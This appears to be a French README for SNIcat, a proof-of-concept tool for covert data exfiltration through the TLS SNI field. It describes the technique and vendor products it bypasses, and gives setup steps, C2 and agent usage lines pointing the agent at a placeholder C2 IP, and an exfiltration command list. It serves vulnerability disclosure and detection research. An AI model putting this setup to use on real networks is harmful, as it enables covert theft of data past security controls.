
SNIcat
SNIcat est un outil de preuve de concept qui effectue l'exfiltration de données en utilisant une méthode de canal caché via l'Indication de Nom de Serveur, une Extension TLS Client Hello. L'outil se compose d'un agent qui réside sur l'hôte interne compromis, et d'un serveur Command&Control qui contrôle l'agent et collecte les données exfiltrées.
L'histoire complète derrière SNIcat peut être trouvée dans notre article de blog
SNIcat a été testé sur macOS et diverses distributions Linux. Bien qu'il puisse être facilement porté, il n'existe actuellement aucune version Windows, car il s'agit simplement d'un outil PoC.
La méthode d'exfiltration ne fonctionne pas avec les proxys explicites, en raison de l'utilisation de HTTP CONNECT, et non de TLS Client Hello, lors de la connexion via un proxy explicite.
SNIcat peut ne pas fonctionner avec des produits et versions logicielles que nous n'avons pas testés, mais cela ne signifie pas que les produits et/ou versions logicielles ne sont pas vulnérables.

Nous avons découvert une nouvelle méthode furtive d'exfiltration de données qui contourne spécifiquement les solutions de périmètre de sécurité telles que les proxys web, les pare-feu de nouvelle génération (NGFW), et les solutions dédiées d'interception et d'inspection TLS. Nos tests valident qu'il s'agit d'un problème répandu qui affecte différents types de solutions de sécurité ainsi que des solutions de divers fournisseurs. Nous avons testé avec succès notre technique contre des produits de Cisco, F5 Networks, Palo Alto Networks et Fortinet, et supposons que de nombreux autres fournisseurs sont également susceptibles.
En utilisant notre méthode d'exfiltration SNIcat, nous avons constaté que nous pouvions contourner une solution de périmètre de sécurité effectuant une inspection TLS, même lorsque le domaine de Command & Control (C2) que nous utilisons est bloqué par les fonctionnalités communes de réputation et de prévention des menaces intégrées dans les solutions de sécurité elles-mêmes. En bref, nous avons constaté que les solutions conçues pour protéger les utilisateurs leur ont introduit une nouvelle vulnérabilité.
Nous avons également fourni une signature Suricata pour détecter cet outil spécifique.
Clonez le dépôt :
https://github.com/mnemonic-no/SNIcat.git
Installer les dépendances :
pip3 install -r requirements.txt --user
C2
Obtenez un certificat wildcard et une clé auprès d'une autorité de certification publiquement reconnue. Cela représente GOOD_CERT et GOOD_CERT_KEY.
Utilisez un certificat auto-signé et une clé (ne figurant dans aucun magasin de confiance) comme BAD_CERT et BAD_CERT_KEY.
(*) USAGE: 'python3 snicat_c2.py <LISTENING_PORT> <GOOD_CERT> <GOOD_CERT_KEY> <BAD_CERT> <BAD_CERT_KEY> log={on|off}'
(*) EXAMPLE: 'python3 snicat_c2_final.py 443 certs/good.pem certs/good.key certs/ssl-cert-snakeoil.pem log=off'
Agent
(*) USAGE: 'python3 snicat_agent.py <C2_SERVER_IP> <C2_SERVER_PORT> log={on|off}'
(*) Example: 'python3 snicat_agent.py 192.0.2.1 443 log=off'
Commandes disponibles du C2
LIST - afficher tout le contenu du dossier courant
LS - afficher uniquement les fichiers du dossier courant
SIZE - afficher la taille des fichiers du dossier courant
LD - afficher tous les répertoires du dossier courant
CB - descendre vers le dossier racine - similaire à 'cd .. '
CD <folder-id> - monter vers le dossier spécifié
EX <file-id> - exfiltrer le fichier spécifié
ALIVE - vérifier si l'agent est vivant/mort
EXIT - quitter le serveur C2